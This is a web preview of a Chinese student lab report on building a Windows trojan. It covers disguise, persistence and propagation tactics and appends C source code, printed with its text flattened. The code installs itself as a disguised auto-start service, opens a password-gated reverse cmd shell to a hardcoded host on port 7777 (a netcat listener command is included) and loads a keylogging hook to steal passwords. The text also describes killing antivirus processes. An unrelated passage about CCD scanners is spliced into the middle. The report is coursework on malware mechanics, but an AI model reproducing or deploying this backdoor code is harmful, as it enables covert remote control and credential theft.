病毒实验报告.docx_第1页
病毒实验报告.docx_第2页
病毒实验报告.docx_第3页
病毒实验报告.docx_第4页
病毒实验报告.docx_第5页
已阅读5页,还剩41页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

病毒实验报告木马程序设计姓名: 潘莹 学号: U200915340 班级: 信息安全0903班 日期: 2012.01.10 小组成员潘莹刘佳周玉坤王新宇目录木马原理3实验目的9实验设计9实现的功能9各个功能陈述10实验模块11socket编程11隐藏技术服务级木马13钩子技术14进程查杀15实验详细设计15实验截屏16心得体会18附录18附录一 木马程序源代码18附录二 钩子源代码37附录三 参考书籍45木马原理一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。(1)硬件部分:建立木马连接所必须的硬件实体。控制端:对服务端进行远程控制的一方。服务端:被控制端远程控制的一方。INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。 (2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。木马程序:潜入服务端内部,获取其操作权限的程序。木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。 (3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马程序。 木马原理 用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步,下面我们就按这六步来详细阐述木马的攻击原理。一.配置木马 一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能: (1) 木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。 (2) 信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。 二.传播木马 (1)传播方式: 木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为 名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。 (2)伪装方式: 鉴于木马危害性,很多人对木马知识还是有一定了解,这对木马的传播起了一定的抑制作用,这是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目的。 (一)修改图标 当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种伪装也不是无懈可击的,所以不必整天提心吊胆,疑神疑鬼的。 (二)捆绑文件 这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。 (三)出错显示 有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的 设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木 马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏,无法打开的!”之类的信息,当服务端用户信以 为真时,木马却悄悄侵入了 系统。 (四)定制端口 很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就 知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可 以在1024-65535之间任选一个端口作为木马端口(一般不选1024以下的端口),这样就给判断 所感染木马类型带 来了麻烦。 (五)自我销毁 这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后,木马 会将自己拷贝到WINDOWS的系统文件夹中(C:WINDOWS或C:WINDOWSSYSTEM目录下),一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后,原木马文件将自动销毁,这 样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。 (六)木马更名 安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,按 图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。 三.运行木马 服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的 系统文件夹中(C:WINDOWS或C:WINDOWSSYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了,具体过程见下图: (1)由触发条件激活木马 触发条件是指启动木马的条件,大致出现在下面八个地方: 1.注册表:打开HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。 2.WIN.INI:C:WINDOWS目录下有一个配置文件win.ini,用文本方式打开,在windows字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是3.SYSTEM.INI:C:WINDOWS目录下有个配置文件system.ini,用文本方式打开,在386Enh,mic,drivers32中有命令行,在其中寻找木马的启动命令。 4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。 5.*.INI:即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。 6.注册表:打开HKEY_CLASSES_ROOT文件类型shellopencommand主键,查看其键值。举个例子,国产 木马“冰河”就是修改HKEY_CLASSES_ROOTtxtfileshellopencommand下的键值,将“C :WINDOWS NOTEPAD.EXE %1”该为“C:WINDOWSSYSTEMSYXXXPLR.EXE %1”,这时你双 击一个TXT文件 后,原本应用NOTEPAD打开文件的,现在却变成启动木马程序了。还要说明 的是不光是TXT文件 ,通过修改HTML,EXE,ZIP等文件的启动命令的键值都可以启动木马 ,不同之处只在于“文件类型”这个主键的差别,TXT是txtfile,ZIP是WINZIP,大家可以 试着去找一下。 7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具 软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使 木马被删 除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。 8.启动菜单:在“开始-程序-启动”选项下也可能有木马的触发条件。 (2)木马运行过程 木马被激活后,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下,键入NETSTAT -AN查看端口状态,一般个人电脑在脱机状态下是不会有端口 开放的,如果有端口开放,你就要注意是否感染木马了。下面是电脑感染木马后,用NETSTAT命令查 看端口的两个实例: 其中是服务端与控制端建立连接时的显示状态,是服务端与控制端还未建立连接时的显示状态。 在上网过程中要下载软件,发送信件,网上聊天等必然打开一些端口,下面是一些常用的端口: (1)1-1024之间的端口:这些端口叫保留端口,是专给一些对外通 讯的程序用的,如FTP使用21, SMTP使用25,POP3使用110等。只有很少木马会用保留端口作为木马端口 的。 (2)1025以上的连续端口:在上网浏览网站时,浏览器会打开多个连续的端口下载文字,图片到本地 硬盘上,这些端口都是1025以上的连续端口。 (3)4000端口:这是OICQ的通讯端口。 (4)6667端口:这是IRC的通讯端口。 除上述的端口基本可以排除在外,如发现还有其它端口打开,尤其是数值比较大的端口,那就要怀疑 是否感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。 四.信息泄露: 一般来说,设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息,并通过E-MAIL,IRC或ICO的方式告知控制端用户。下图是一个典型的信息反 馈邮件。 从这封邮件中我们可以知道服务端的一些软硬件信息,包括使用的操作系统,系统目录,硬盘分区况, 系统口令等,在这些信息中,最重要的是服务端IP,因为只有得到这个参数,控制端才能与服务端建立 连接,具体的连接方法我们会在下一节中讲解。 五.建立连接: 一个木马连接的建立首先必须满足两个条件:一是 服务端已安装了木马程序;二是控制端,服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。 A机为控制端,B机为服务端,对于A机来说要与B机建立连接必须知道B机的木马端口和IP地 址,由于木马端口是A机事先设定的,为已知项,所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的方法主要有两种:信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了,不再赘述,我们 重点来介绍IP扫描,因为B机装有木马程序,所以它的木马端口7626是处于开放状态的,所以现在A机只 要扫描IP地址段中7626端口开放的主机就行了,例如图中B机的IP地址是6,当A机扫描到 这个IP时发现它的7626端口是开放的,那么这个IP就会被添加到列表中,这时A机就可以通过木马的控 制端程序向B机发出连接信号,B机中的木马程序收到信号后立即作出响应,当A机收到响应的信号后, 开启一个随即端口1031与B机的木马端口7626建立连接,到这时一个木马连接才算真正建立。值得一提 的要扫描整个IP地址段显然费时费力,一般来说控制端都是先通过信息反馈获得服务端的IP地址,由于 拨号上网的IP是动态的,即用户每次上网的IP都是不同的,但是这个IP是在一定范围内变动的,如图中 B机的IP是6,那么B机上网IP的变动范围是在202.102.000.000-55,所以 每次控制端只要搜索这个IP地址段就可以找到B机了。 六.远程控制: 木马连接建立后,控制端端口和木马端口之间将会出现一条通道。控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远程控制。(1) 窃取密码:一切以明文的形式,*形式或缓存在CACHE中的密码都能被木马侦测到,此外很多木马还 提供有击键记录功能,它将会记录服务端每次敲击键盘的动作,所以一旦有木马入侵, 密码将很容易被窃取。 (2) 文件操作:控制端可藉由远程控制对服务端上的文件进行删除,新建,修改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了WINDOWS平台上所有的文件操作功能。 (3) 修改注册表:控制端可任意修改服务端注册表,包括删除,新建或修改主键,子键,键值。有了这 项功能控制端就可以禁止服务端软驱,光驱的使用,锁住服务端的注册表,将服务端 上木马的触发条件设置得更隐蔽的一系列高级操作。 (4) 系统操作:这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标,键盘,监视服务端桌面操作,查看服务端进程等,控制端甚至可以随时给服务端发送信 息,想象一下,当服务端的桌面上突然跳出一段话,不吓人一跳才怪CCD是Charge Couple Device的缩写,称为电荷耦合器件,它是利用微电子技术制成的表面光电器件,可以实现光电转换功能。 CCD在摄像机、数码相机和扫描仪中应用广泛,只不过摄像机中使用的是点阵CCD,即包括x、y两个方向用于摄取平面图像,而扫描仪中使用的是线性CCD,它只有x一个方向,y方向扫描由扫描仪的机械装置来完成。 CCD芯片上有许多光敏单元,它们可以将不同的光线转换成不同的电荷,从而形成对应原稿光图像的电荷图像。如果我们想增加图像的分辨率,就必须增加CCD上的光敏单元数量。实际上,CCD的性能决定了扫描仪的x方向的光学分辨率。实验目的计算机病毒也是计算机程序,病毒驻留在受感染的计算机内,并不断传播和感染可连接的系统,在满足触发条件时,病毒发作,破坏正常的系统工作,强占系统资源,甚至损坏系统数据。病毒不但具有普通程序存储和运行的特点,还具有传染性、潜伏性、可触发性、破坏性、针对性、隐蔽性和衍生性等特征。 通过本实验更深入理解计算机病毒的机理及防治方法。并且了解木马的构造、特性以及木马编写原理。实验设计实现的功能1) 欺骗性:木马伪装成安装程序,用户下载点击安装时,会弹出“文件已损坏”的对话框,但在用户点击到对话框显示之间的时间,已经完成木马的安装及生成了system.exe并并且复制系统目录下,用户可能会删除木马,不过不会对已安装的木马造成影响。2) 隐蔽性:将木马伪装成服务安装,这样可以实现隐藏,也可以开机自启动,起一个具有迷惑性的名字也不会让用户察觉到。3) 自我保护性:查杀杀毒软件进程,例如360.4) 破坏性:加入键盘钩子,可以监视用户键盘输入情况,盗取账号密码。各个功能陈述1. 安装:由于伪装成正常文件的安装包,因此可以实现用户自行点击,在点击后,木马立刻进行杀毒软件查杀,之后再进行安装工作。木马将自己该换名字成“system.exe”复制到windows目录下,并以名字“system”伪装成服务安装,紧接着弹出出错提示,安装完毕。2. 远程访问:利用反弹端口原理,在客户端用nc.exe实现对特定端口的捆绑,从而获得来自用户端的响应。要求在进入控制程序前,输入密码,确认正确后即可对远程主机进行访问。可以将在客户端上输入的字符串在服务器端当做cmd命令解读,并将获得的信息返回到客户端,从而使得远程主机的隐私泄露。3. 盗号攻击:利用dll文件动态加载,写一个全盘钩子,只要system服务被打开,用户的键盘就被监控,从而获得用户的账号和密码记录在一个自我创建的记事本文件中,客户端可以从远程访问获得。实验模块socket编程木马的编写大体上是建立在socket编程上的。Socket是网络的基本构建,它可以被命名和寻址的通信端点,使用中的每一套接字都有其类型和一个与之相连的进程。流式套接字(SOCK_STREAM)提供面向连接、可靠的数据传输服务、数据无差错、无重复发送且按发送顺序接受。设计思路如下:服务器程序端:(1) 创建套接字(socket)。(2) 将套接字绑定到一个本地地址和端口上(bind)。(3) 将套接字设为监听模式,准备接受客户请求(listen)。(4) 等待客户请求到来;当请求到来后,接受连接请求,返回一个新的对应与此次连接的套接字(accept)。(5) 用返回的套接字和客户端进行通信(send/recv)。(6) 返回,等待另一个客户请求。(7) 关闭套接字。客户端程序:(1) 创建套接字(socket)。(2) 向服务器发出连接请求(connect)。(3) 和服务器端进行通信(send/recv)。(4) 关闭套接字。客户端不用绑定端口,因为当服务器接收到请求时已经记录下客户端的端口号。面向连接的套接字的系统调用时序图如下:隐藏技术服务级木马服务是指执行制定系统功能的程序、例程或进程,以便支持其他程序,尤其是低层(接近硬件)程序。其实,服务就是一种特殊的应用程序,他从服务启动开始就一直处于运行状态,而普通应用程序在运行之后就处于休眠状态,直到用户再次进行操作;在windows XP中,服务是在系统加载以后就自动启动的,而不需要登陆。 Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,他们会在登陆系统时自动运行,甚至在没有用用户登陆的情况下也会正常运行,他们大多是控制台程序,不过也有少数GUI程序。服务能被利用作为后门实现自启动,是因为他有3个重要特性:u 服务可以被指定为自启动,利用传统的注册表修改RUN键值,添加INI自动启动项等方法的基础上又多了一种选择。u 服务可以在任何用户登录前开始运行,我们能在服务启动时加入杀防火墙代码。u 服务时运行在后台的,如果不注意,很难发现何时被装了后门。钩子技术利用钩子技术来获取用户的密码,监控键盘。1. 定义钩子函数钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。不同事件的钩子函数的形式个不同。我们打算创建的是鼠标钩子:LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam)参数wParam和lParam包含钩子的信息,比如鼠标位置和状态、键盘按键等。nCode包含有关消息的相关信息,比如从消息队列中移除。我们现在钩子函数中实现自定义功能,然后调用函数CallNextHookEx把钩子信息传递给钩子链的下一个钩子函数。CallNextHookEx函数原型为:LRESULT CallNextHookEx(HHook hhk,int nCode, wParam,LPARAM lParam)参数hhk是钩子的句柄,nCode、wParam和lParam是钩子函数。2. 安装钩子在程序初始化的时候,调用函数SetWindowsHookEx安装钩子,其函数原型如下:HHOOK SetWindowsHookEx (int idHook, HOOKPROC lpfn, INSTANCE hMod, DWORD dwThreadId)参数idHook表示钩子类型。lpfn是钩子函数的地址。hMod是钩子函数所在的实例句柄。dwThreadId指定钩子所监视的线程的线程号。SetWindowsHookEx函数返回所安装钩子的钩子句柄。3. 卸载钩子当不再使用钩子时,必须及时卸载,简单的调用BOOL UnhookWindowsHookEx(HHOOK hhk)即可。但我们小组在实现钩子函数是出现了些错误,钩子函数无法加载进去,所以最后放弃了。进程查杀木马在开始运行时,为了保护自己奖励一个安全的运行环境,先把杀毒软件关闭。实验详细设计1) 模块对应函数:a) 服务函数:A. 安装:InstallCmdService();B. 服务主函数:ServiceMain(DWORD dwArgc, LPTSTR *lpArgv);C. 服务控制函数:ServiceCtrlHandler(DWORD Opcode);D. 服务撤销:DelServices();b) 后门程序:A. 身份验证:int door();B. 客户端输入翻译应答(由身份认证函数创建线程指向):void WINAPI EXEBackMain(LPVOID s);c) 查杀进程函数:A. 查杀进程函数主函数(调试用):pskill(int id);B. 查杀进程执行函数:int KillProc(void);d) 盗号钩子:htr.dllA. 导出函数设置钩子:void SetKbHook(void);B. 导出函数删除钩子:void RemoveKbHook(void)。2) 远程控制操作:A. 连接服务端:由于在服务端已经固定了客户端的IP(02)和端口(7777),则只要客户端用NC.exe绑定7777端口,监听是否有连接接入,操作为在命令行中输入:nc l p 7777。B. 控制服务端:待端口监听到服务端发来的连接请求,则自动运行door()函数,要求输入密码,密码为“dirdir”,密码验证通过后,则可以输入cmd命令,对目标主机进行操作了。实验截屏a) 将自身复制到系统目录下:系统目录b) 安装服务:在命令行输入“net start”可以看到已启动服务中有“system”如图所示,而任务管理器中也始终有system.exe在运行,如图示。绑定7777端口c) 远程控制:身份认证服务端系统文件d) 盗号功能:由于对dll功能调用不是很熟悉,dll文件编译成功,在载入时发现无法调用导出函数,因此没有办法执行盗号功能。后经查找资料及询问同学知道原因在于没有将调用它的进程句柄传入从而导致dll调用有误,但因能力有限,最终仍然没有实现此功能。心得体会这次试验让我学到了很多有关木马的知识,通过编写木马的功能可以就看出,木马程序的目的是侵犯他人的隐私,则木马设计者的目标之一就是不被发现,这样他就能在竖着电脑中安稳、长久、顺利、默默的进行他的工作。e) 在实验过程中,遇到了很多困难,最大的一个困难就是钩子函数的实现实现键盘的监控。由于对动态链接文件(dll)功能调用不是很熟悉,dll文件已经编译成功,但是在载入时发现无法调用导出的函数,于是在C盘的根目录下没有生成”password.exe”文件,因此没有办法执行盗号功能。后经查找资料及询问同学知道原因在于没有将调用它的进程句柄传入从而导致dll调用有误,但因能力有限,最终仍然没有实现此功能。 同时,这次试验我有温习了C语言,同时了解了关于木马的很多知识。附录附录一 木马程序源代码#include #include #include windows.h#include winbase.h#include tlhelp32.h#include htr.h#pragma comment(lib, kernel32.lib)#pragma comment(lib, advapi32.lib)#pragma comment(lib, ws2_32.lib)void WINAPI ServiceMain(DWORD, LPTSTR *);DWORD WINAPI CmdService(LPVOID);DWORD WINAPI CmdShell(LPVOID);void WINAPI ServiceCtrlHandler(DWORD Opcode);BOOL InstallCmdService();void DelServices();int door();void Usage(void);VOID WINAPI EXEBackMain(LPVOID s);int KillProc(void);pskill(int id);void EnableDebugPriv(void);SERVICE_STATUS m_ServiceStatus;SERVICE_STATUS_HANDLE m_ServiceStatusHandle;BOOL bRunning = true;#define PASSSUCCESS Password success!n#define PASSERROR Password error.n#define BYEBYE ByeBye!n#define SERV_NAME system#define WSAerron WSAGetLastError()#define erron GetLastError()#define PORT 7777/远程连接端口#define DEST_IP_ADDR 02/要连接的远程IPint main(int argc, char *argv)SERVICE_TABLE_ENTRY DispatchTable = SERV_NAME, ServiceMain,/服务程序的名称和入口点(函数)NULL, NULL/SERVICE_TABLE_ENTRY结构必须以“NULL”结束;/if(2 = argc)/else if(!stricmp(argv1, -k)/KillProc();/杀进程/if(!stricmp(argv1, -i)/如果第二个参数等于-i/InstallCmdService();/安装服务/else if(!stricmp(argv1, -r)/比较字符串s1和s2/DelServices();/else/Usage();/return 0;StartServiceCtrlDispatcher(DispatchTable);/把入口点的地址传入return 0;int door()SOCKET sock = NULL;struct sockaddr_in sai;TCHAR UserPass20 = 0;/用户设置密码缓冲TCHAR PassBuf20 = 0;/接收密码缓冲TCHAR PassBanner = Password:;TCHAR Banner = -backdoor-;sai.sin_family = AF_INET;sai.sin_addr.S_un.S_addr = inet_addr(DEST_IP_ADDR);sai.sin_port = htons(PORT);sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);while(TRUE)MSG msg;HINSTANCE dllhinst = LoadLibrary(htr.dll);typedef VOID(CALLBACK *LPFNDLLFUNC1)(VOID);LPFNDLLFUNC1 lpfnDllFunc1;if(dllhinst!=NULL) /判断是否加载DLL成功lpfnDllFunc1=(LPFNDLLFUNC1)GetProcAddress(dllhinst,SetKbHook);if(!lpfnDllFunc1)FreeLibrary(dllhinst);/error=TRUE;elselpfnDllFunc1();while(GetMessage(&msg,0,0,0)TranslateMessage(&msg);DispatchMessage(&msg);return msg.wParam;WSADATA wsadata;BOOL ThreadFlag = FALSE;DWORD ThreadID = 0;int nRet = 0;nRet = WSAStartup(MAKEWORD(2,2), &wsadata);/初始化if(nRet)return 0;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(INVALID_SOCKET = sock)goto Clean;nRet = connect(sock, (struct sockaddr*)&sai, sizeof(struct sockaddr);Sleep(5000);if(nRet != SOCKET_ERROR)nRet = send(sock, Banner, sizeof(Banner), 0);while(TRUE)nRet = send(sock, PassBanner, sizeof(PassBanner), 0);nRet = recv(sock, PassBuf, sizeof(PassBuf) - 1, 0);if(strnicmp(PassBuf, dirdir, strlen(dirdir) = 0)send(sock, PASSSUCCESS, sizeof(PASSSUCCESS), 0);ThreadFlag = TRUE;break;if(SOCKET_ERROR = nRet)goto Clean;Sleep(100);if(ThreadFlag)CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)EXEBackMain, (LPVOID)sock, 0, &ThreadID);/whileSleep(1000);Clean:if(sock != NULL)closesocket(sock);WSACleanup();return 0;void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)/服务主程序m_ServiceStatus.dwServiceType = SERVICE_WIN32;m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;m_ServiceStatus.dwWin32ExitCode = 0;m_ServiceStatus.dwServiceSpecificExitCode = 0;m_ServiceStatus.dwCheckPoint = 0;m_ServiceStatus.dwWaitHint = 0;m_ServiceStatusHandle = RegisterServiceCtrlHandler(SERV_NAME, ServiceCtrlHandler);if(m_ServiceStatusHandle = (SERVICE_STATUS_HANDLE)0)return;m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;/设置服务状态m_ServiceStatus.dwCheckPoint = 0;m_ServiceStatus.dwWaitHint = 0;/SERVICE_STATUS这个结构含有7个成员,他们反映服务的现行状态/所有这些成员必须在这个结构被传递到SetServiceStatus之前正式的进行设置if(SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus)bRunning = true;door();/启动服务程序return;void WINAPI ServiceCtrlHandler(DWORD Opcode)/服务控制函数switch(Opcode)case SERVICE_CONTROL_PAUSE:/接受命令暂停服务m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;break;case SERVICE_CONTROL_CONTINUE:m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;break;case SERVICE_CONTROL_STOP:m_ServiceStatus.dwWin32ExitCode = 0;m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;m_ServiceStatus.dwCheckPoint = 0;m_ServiceStatus.dwWaitHint = 0;SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);bRunning = false;break;case SERVICE_CONTROL_INTERROGATE:break;return;BOOL InstallCmdService()/安装服务函数char strDir1024;SC_HANDLE schSCManager, schService;GetCurrentDirectory(1024, strDir);/取当前目录GetModuleFileName(NULL, strDir, sizeof(strDir);/取当前文件路径和文件名char chSysPath1024;GetSystemDirectory(chSysPath, sizeof(chSysPath);/取系统目录strcat(chSysPath, system.exe);/将scvhost.exe拼接到系统目录if(CopyFile(strDir, chSysPath, FALSE)printf(Copy file OK!n);/把当前服务程序复制到系统根目录system.exestrcpy(strDir, chSysPath);schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);if(schSCManager = NULL)printf(open scmanger failed, maybe you do not have the privilage to do thisn);return false;LPCTSTR lpszBinaryPathName = strDir;schService = CreateService(schSCManager,SERV_NAME,SERV_NAME,/将服务的信息添加到SCM的数据库中SERVICE_ALL_ACCESS,/访问权限SERVICE_WIN32_OWN_PROCESS,/服务类型SERVICE_AUTO_START,/启动类型SERVICE_ERROR_NORMAL,/错误控制lpszBinaryPathName,/服务名称NULL, NULL, NULL, NULL, NULL);if(schService)printf(Install Service Success!n);elseprintf(Install Service Fail!n);return false;CloseServiceHandle(schService);return true;void DelServices()char name100;SC_HANDLE scm;SC_HANDLE service;SERVICE_STATUS status;strcpy(name, SERV_NAME);if(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE) = NULL)printf(OpenSCManager Error!);service = OpenService(scm, name, SERVICE_ALL_ACCESS | DELETE);if(!service)printf(OpenService error!);return;BOOL isSuccess = QueryServiceStatus(service, &status);if(!isSuccess)printf(QueryServiceStatus error!);return;if(status.dwCurrentState != SERVICE_STOPPED)isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status);if(!isSuccess)printf(Delete Service Fail!);Sleep(500);isSuccess = DeleteService(service);if(!isSuccess)printf(Delete Service Fail!);elseprintf(Delete Service Success!);CloseServiceHandle(service);CloseServiceHandle(scm);void WINAPI EXEBackMain(LPVOID s)SOCKET sock = (SOCKET) s;STARTUPINFO si;PROCESS_INFORMATION pi;HANDLE hRead= NULL,hWrite = NULL;TCHAR CmdSign = nGood Luck!:;while(TRUE)TCHAR MsgError50 = 0;/错误消息缓冲TCHAR CmdLine300 = 0;/命令行缓冲TCHAR RecvBuf1024 = 0;/接收缓冲TCHAR SendBuf2048 = 0;/发送缓冲SECURITY_ATTRIBUTES sa;DWORD bytesRead = 0;int ret = 0;sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;/创建匿名管道if(!CreatePipe(&hRead, &hWrite, &sa, 0)goto Clean;si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si);si.hStdError = hWrite;si.hStdOutput = hWrite;/进程(CMD)的输出写入管道si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;GetSystemDirectory(CmdLin

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论